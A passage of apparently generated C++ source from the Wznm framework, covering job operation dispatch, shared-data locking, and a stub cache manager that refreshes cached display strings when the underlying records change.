VecWznmVDpch::DPCHINVWZNMCTPWRWEB) { squawk = SqkWznmCtpWrweb::getSquawk(dbswznm, (DpchInvWznmCtpWrweb*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENBASE) { squawk = SqkWznmGen::getSquawkBase(dbswznm, (DpchInvWznmGenBase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENCAL) { squawk = SqkWznmGen::getSquawkCal(dbswznm, (DpchInvWznmGenCal*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENCHK) { squawk = SqkWznmGen::getSquawkChk(dbswznm, (DpchInvWznmGenChk*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENDETUI) { squawk = SqkWznmGen::getSquawkDetui(dbswznm, (DpchInvWznmGenDetui*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENJOB) { squawk = SqkWznmGen::getSquawkJob(dbswznm, (DpchInvWznmGenJob*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENQTB) { squawk = SqkWznmGen::getSquawkQtb(dbswznm, (DpchInvWznmGenQtb*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMGENSYSVEC) { squawk = SqkWznmGen::getSquawkSysvec(dbswznm, (DpchInvWznmGenSysvec*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMPRCFILECONCAT) { squawk = SqkWznmPrcfile::getSquawkConcat(dbswznm, (DpchInvWznmPrcfileConcat*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMPRCFILEPLHRPL) { squawk = SqkWznmPrcfile::getSquawkPlhrpl(dbswznm, (DpchInvWznmPrcfilePlhrpl*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMPRCTREEEXTRACT) { squawk = SqkWznmPrctree::getSquawkExtract(dbswznm, (DpchInvWznmPrctreeExtract*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMPRCTREEMERGE) { squawk = SqkWznmPrctree::getSquawkMerge(dbswznm, (DpchInvWznmPrctreeMerge*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMPRCTREEVALIDATE) { squawk = SqkWznmPrctree::getSquawkValidate(dbswznm, (DpchInvWznmPrctreeValidate*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRAPIBASE) { squawk = SqkWznmWrapi::getSquawkBase(dbswznm, (DpchInvWznmWrapiBase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRAPIDEPLOY) { squawk = SqkWznmWrapi::getSquawkDeploy(dbswznm, (DpchInvWznmWrapiDeploy*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRAPIJOB) { squawk = SqkWznmWrapi::getSquawkJob(dbswznm, (DpchInvWznmWrapiJob*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRAPIQTB) { squawk = SqkWznmWrapi::getSquawkQtb(dbswznm, (DpchInvWznmWrapiQtb*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRAPPBASE) { squawk = SqkWznmWrapp::getSquawkBase(dbswznm, (DpchInvWznmWrappBase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRAPPJBASE) { squawk = SqkWznmWrapp::getSquawkJbase(dbswznm, (DpchInvWznmWrappJbase*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRDBSDBS) { squawk = SqkWznmWrdbs::getSquawkDbs(dbswznm, (DpchInvWznmWrdbsDbs*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRDBSDEPLOY) { squawk = SqkWznmWrdbs::getSquawkDeploy(dbswznm, (DpchInvWznmWrdbsDeploy*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRDBSDIFFSQL) { squawk = SqkWznmWrdbs::getSquawkDiffsql(dbswznm, (DpchInvWznmWrdbsDiffsql*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRDBSSQL) { squawk = SqkWznmWrdbs::getSquawkSql(dbswznm, (DpchInvWznmWrdbsSql*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRDBSTBL) { squawk = SqkWznmWrdbs::getSquawkTbl(dbswznm, (DpchInvWznmWrdbsTbl*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRJAPIBASE) { squawk = SqkWznmWrjapi::getSquawkBase(dbswznm, (DpchInvWznmWrjapiBase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRJAPIJOB) { squawk = SqkWznmWrjapi::getSquawkJob(dbswznm, (DpchInvWznmWrjapiJob*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRJAPIQTB) { squawk = SqkWznmWrjapi::getSquawkQtb(dbswznm, (DpchInvWznmWrjapiQtb*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRJAPIVEC) { squawk = SqkWznmWrjapi::getSquawkVec(dbswznm, (DpchInvWznmWrjapiVec*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVBASE) { squawk = SqkWznmWrsrv::getSquawkBase(dbswznm, (DpchInvWznmWrsrvBase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVCMBENGBASE) { squawk = SqkWznmWrsrv::getSquawkCmbengbase(dbswznm, (DpchInvWznmWrsrvCmbengbase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVCRD) { squawk = SqkWznmWrsrv::getSquawkCrd(dbswznm, (DpchInvWznmWrsrvCrd*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVDDS) { squawk = SqkWznmWrsrv::getSquawkDds(dbswznm, (DpchInvWznmWrsrvDds*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVDEPLOY) { squawk = SqkWznmWrsrv::getSquawkDeploy(dbswznm, (DpchInvWznmWrsrvDeploy*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVDLG) { squawk = SqkWznmWrsrv::getSquawkDlg(dbswznm, (DpchInvWznmWrsrvDlg*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVENGBASE) { squawk = SqkWznmWrsrv::getSquawkEngbase(dbswznm, (DpchInvWznmWrsrvEngbase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVIEX) { squawk = SqkWznmWrsrv::getSquawkIex(dbswznm, (DpchInvWznmWrsrvIex*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVINIXML) { squawk = SqkWznmWrsrv::getSquawkInixml(dbswznm, (DpchInvWznmWrsrvInixml*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVJOB) { squawk = SqkWznmWrsrv::getSquawkJob(dbswznm, (DpchInvWznmWrsrvJob*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVOP) { squawk = SqkWznmWrsrv::getSquawkOp(dbswznm, (DpchInvWznmWrsrvOp*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVOPENGBASE) { squawk = SqkWznmWrsrv::getSquawkOpengbase(dbswznm, (DpchInvWznmWrsrvOpengbase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVOPK) { squawk = SqkWznmWrsrv::getSquawkOpk(dbswznm, (DpchInvWznmWrsrvOpk*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVPNL) { squawk = SqkWznmWrsrv::getSquawkPnl(dbswznm, (DpchInvWznmWrsrvPnl*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVPREF) { squawk = SqkWznmWrsrv::getSquawkPref(dbswznm, (DpchInvWznmWrsrvPref*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVQRY) { squawk = SqkWznmWrsrv::getSquawkQry(dbswznm, (DpchInvWznmWrsrvQry*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVROOTSESS) { squawk = SqkWznmWrsrv::getSquawkRootsess(dbswznm, (DpchInvWznmWrsrvRootsess*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVUA) { squawk = SqkWznmWrsrv::getSquawkUa(dbswznm, (DpchInvWznmWrsrvUa*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRSRVVEC) { squawk = SqkWznmWrsrv::getSquawkVec(dbswznm, (DpchInvWznmWrsrvVec*) inv); }; if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRWEBBASE) { squawk = SqkWznmWrweb::getSquawkBase(dbswznm, (DpchInvWznmWrwebBase*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRWEBCRD) { squawk = SqkWznmWrweb::getSquawkCrd(dbswznm, (DpchInvWznmWrwebCrd*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRWEBDEPLOY) { squawk = SqkWznmWrweb::getSquawkDeploy(dbswznm, (DpchInvWznmWrwebDeploy*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRWEBDLG) { squawk = SqkWznmWrweb::getSquawkDlg(dbswznm, (DpchInvWznmWrwebDlg*) inv); } else if (inv->ixWznmVDpch == VecWznmVDpch::DPCHINVWZNMWRWEBPNL) { squawk = SqkWznmWrweb::getSquawkPnl(dbswznm, (DpchInvWznmWrwebPnl*) inv); }; // append to op list ops.push_back(new Op(inv->oref, inv->ixWznmVDpch, squawk)); mOps.unlock(VecWznmVJob::getSref(ixWznmVJob), "addOp", "jref=" + to_string(jref)); }; void JobWznm::removeOp( const ubigint oref ) { Op* op = NULL; mOps.lock(VecWznmVJob::getSref(ixWznmVJob), "removeOp", "jref=" + to_string(jref)); for (auto it = ops.begin(); it != ops.end(); it++) { op = *it; if (op->oref == oref) { // found ops.erase(it); // keep squawk of this op opsqkLast = op->squawk; delete op; break; }; }; mOps.unlock(VecWznmVJob::getSref(ixWznmVJob), "removeOp", "jref=" + to_string(jref)); }; string JobWznm::getOpsqkLast() { string retval; mOps.lock(VecWznmVJob::getSref(ixWznmVJob), "getOpsqkLast", "jref=" + to_string(jref)); retval = opsqkLast; mOps.unlock(VecWznmVJob::getSref(ixWznmVJob), "getOpsqkLast", "jref=" + to_string(jref)); return retval; }; void JobWznm::callback( const uint nextIxVSge ) { nextIxVSgeSuccess = nextIxVSge; wrefLast = xchg->addWakeup(jref, "callback", 0); }; void JobWznm::invalidateWakeups() { wrefMin = wrefLast + 1; }; /****************************************************************************** class CsjobWznm ******************************************************************************/ CsjobWznm::CsjobWznm( XchgWznm* xchg , const uint ixWznmVJob , const ubigint jrefSup , const uint ixWznmVLocale ) : JobWznm(xchg, ixWznmVJob, jrefSup, ixWznmVLocale) { srvNotCli = false; srv = NULL; }; bool CsjobWznm::handleClaim( DbsWznm* dbswznm , map<ubigint,Claim*>& claims , const ubigint jrefNewest ) { return false; }; /****************************************************************************** class ShrdatWznm ******************************************************************************/ ShrdatWznm::ShrdatWznm( const string& srefSupclass , const string& srefObject ) : rwmAccess("shrdat.mAccess", srefSupclass + "::" + srefObject, srefObject) { this->srefSupclass = srefSupclass; this->srefObject = srefObject; }; ShrdatWznm::~ShrdatWznm() { }; void ShrdatWznm::init( XchgWznm* xchg , DbsWznm* dbswznm ) { }; void ShrdatWznm::term( XchgWznm* xchg ) { }; void ShrdatWznm::rlockAccess( const string& srefObject , const string& srefMember , const string& args ) { rwmAccess.rlock(srefObject, srefMember, args); }; void ShrdatWznm::runlockAccess( const string& srefObject , const string& srefMember , const string& args ) { rwmAccess.runlock(srefObject, srefMember,args); }; void ShrdatWznm::rlockAccess( const ubigint jref , const string& srefMember ) { rwmAccess.rlock(srefSupclass, srefMember, "jref=" + to_string(jref)); }; void ShrdatWznm::runlockAccess( const ubigint jref , const string& srefMember ) { rwmAccess.runlock(srefSupclass, srefMember, "jref=" + to_string(jref)); }; void ShrdatWznm::wlockAccess( const string& srefObject , const string& srefMember , const string& args ) { rwmAccess.wlock(srefObject, srefMember, args); }; void ShrdatWznm::wunlockAccess( const string& srefObject , const string& srefMember , const string& args ) { rwmAccess.wunlock(srefObject, srefMember, args); }; void ShrdatWznm::wlockAccess( const ubigint jref , const string& srefMember ) { rwmAccess.wlock(srefSupclass, srefMember, "jref=" + to_string(jref)); }; void ShrdatWznm::wunlockAccess( const ubigint jref , const string& srefMember ) { rwmAccess.wunlock(srefSupclass, srefMember, "jref=" + to_string(jref)); }; /****************************************************************************** class StmgrWznm ******************************************************************************/ StmgrWznm::StmgrWznm( XchgWznm* xchg , const ubigint jref , const uint ixVNonetype ) : mAccess("stmgr.mAccess", "StmgrWznm", "StmgrWznm", "jref=" + to_string(jref)) { this->xchg = xchg; this->jref = jref; this->ixVNonetype = ixVNonetype; stcch = new Stcch(true); }; StmgrWznm::~StmgrWznm() { delete stcch; mAccess.lock("StmgrWznm", "~StmgrWznm", "jref=" + to_string(jref)); mAccess.unlock("StmgrWznm", "~StmgrWznm", "jref=" + to_string(jref)); }; void StmgrWznm::handleCall( DbsWznm* dbswznm , Call* call ) { set<uint> icsWznmVStub; pair<multimap<stcchitemref_t,Stcchitem*>::iterator,multimap<stcchitemref_t,Stcchitem*>::iterator> rng; bool notif = false; begin(); if (call->ixVCall == VecWznmVCall::CALLWZNMAPPUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMAPPSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMAPPSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMBLKUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMBLKSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMCALUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMCALSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMCARUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMCARSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMCHKUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMCHKSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMCMPUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMCMPSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMCONUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMCONSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMCONSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMCONSREF); } else if (call->ixVCall == VecWznmVCall::CALLWZNMCPBUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMCPBSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMCPBSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMCAPSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMCTPSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMCTPSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMDLGUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMDLGSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMEVTUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMEVTSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMFEDUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMFEDSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMFEDSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMFEDSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMFILUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMFILSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMIELUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMIELSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMIELSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMIEXUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMIEXSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMIMEUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMIMESTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMJOBUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMJOBSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMLIBUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMLIBSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMLIBSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMLIBSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMLOCUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMLOCSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMLOCSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMLOCSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMMCHUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMMCHSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMMCHSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMMCHSREF); } else if (call->ixVCall == VecWznmVCall::CALLWZNMMDLUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMMDLSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMMTDUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMMTDSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMOPKUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMOPKSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMOPXUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMOPXSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMPNLUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMPNLSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMPRJUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMPRJSHORT); insert(icsWznmVStub, VecWznmVStub::STUBWZNMPRJSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMPRJSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMPRSUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMPRSSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMPRSSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMPSTUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMPSTSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMPSTSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMQCOUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMQCOSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMQCOSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMQMDUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMQMDSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMQMDSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMQRYUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMQRYSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMRELUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMRELSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMRELSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMRLSUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMRLSSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMRTBUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMRTBSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMRTBSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMRTDUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMRTDSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMRTDSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMRTJUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMRTJSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMRTJSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSBSUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSBSSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSEQUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSEQSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMSEQSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSESUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSESMENU); insert(icsWznmVStub, VecWznmVStub::STUBWZNMSESMENU); insert(icsWznmVStub, VecWznmVStub::STUBWZNMSESSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMSESSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSGEUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSGESTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMSGESTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSQKUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSQKSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSTBUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSTBSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMSTEUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMSTESTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMSTESTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMTAGUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMTAGSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMTBLUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMTBLSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMTCOUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMTCOSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMTCOSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMTCOSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMUSGUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMUSGSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMGROUP); } else if (call->ixVCall == VecWznmVCall::CALLWZNMUSRUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMUSRSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMOWNER); insert(icsWznmVStub, VecWznmVStub::STUBWZNMUSRSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMVECUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMVECSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMVERUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMVERSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMVERNO); insert(icsWznmVStub, VecWznmVStub::STUBWZNMVERSHORT); insert(icsWznmVStub, VecWznmVStub::STUBWZNMVERSTD); } else if (call->ixVCall == VecWznmVCall::CALLWZNMVITUPD_REFEQ) { insert(icsWznmVStub, VecWznmVStub::STUBWZNMVITSTD); insert(icsWznmVStub, VecWznmVStub::STUBWZNMVITSREF); insert(icsWznmVStub, VecWznmVStub::STUBWZNMVITSTD); }; for (auto it = icsWznmVStub.begin(); it != icsWznmVStub.end(); it++) { rng = stcch->nodes.equal_range(stcchitemref_t(*it, call->argInv.ref, 0)); for (auto it2 = rng.first; it2 != rng.second; it2++) if (refresh(dbswznm, it2->second)) notif = true; }; commit(); if (notif) xchg->triggerCall(dbswznm, VecWznmVCall::CALLWZNMSTUBCHG, jref); }; bool StmgrWznm::refresh( DbsWznm* dbswznm , Stcchitem* stit ) { set<stcchitemref_t> strefsSub_backup; string stub_backup; while (!stit->strefsSup.empty()) stcch->unlink(*stit->strefsSup.begin(), stit->stref); strefsSub_backup = stit->strefsSub; stub_backup = stit->stub; StubWznm::getStub(dbswznm, stit->stref.ixVStub, stit->stref.ref, stit->stref.ixVLocale, ixVNonetype, stcch, NULL, true); if (stit->stub != stub_backup) { for (auto it = strefsSub_backup.begin(); it != strefsSub_backup.end(); it++) refresh(dbswznm, stcch->getStitByStref(*it)); return true; } else return false; }; void StmgrWznm::begin() { stcch->begin(); }; void StmgrWznm::commit() { for (auto it = stcch->icsVStubNew.begin(); it != stcch->icsVStubNew.end(); it++) { if (*it == VecWznmVStub::STUBWZNMAPPSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMAPPUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMAPPUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMBLKSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMBLKUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCALSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCALUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCAPSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCPBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCARSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCARUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCHKSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCHKUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCMPSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCMPUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCONSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCONUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCONSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCONUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCONUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCPBSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCPBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCPBSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCPBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCTPSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCPBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMCTPSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMCPBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMDLGSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMDLGUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMEVTSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMEVTUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMFEDSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMFEDUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMFEDSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMFEDUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMFEDUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMFILSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMFILUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMGROUP) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMUSGUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMIELSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMIELUPD_REFEQ, jref); xchg->addClstnStmgr(VecWznmVCall::CALLWZNMIELUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMIEXSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMIEXUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMIMESTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMIMEUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMJOBSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMJOBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMLIBSREF) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMLIBUPD_REFEQ, jref); } else if (*it == VecWznmVStub::STUBWZNMLIBSTD) { xchg->addClstnStmgr(VecWznmVCall::CALLWZNMLIBUPD_REFEQ, jref); 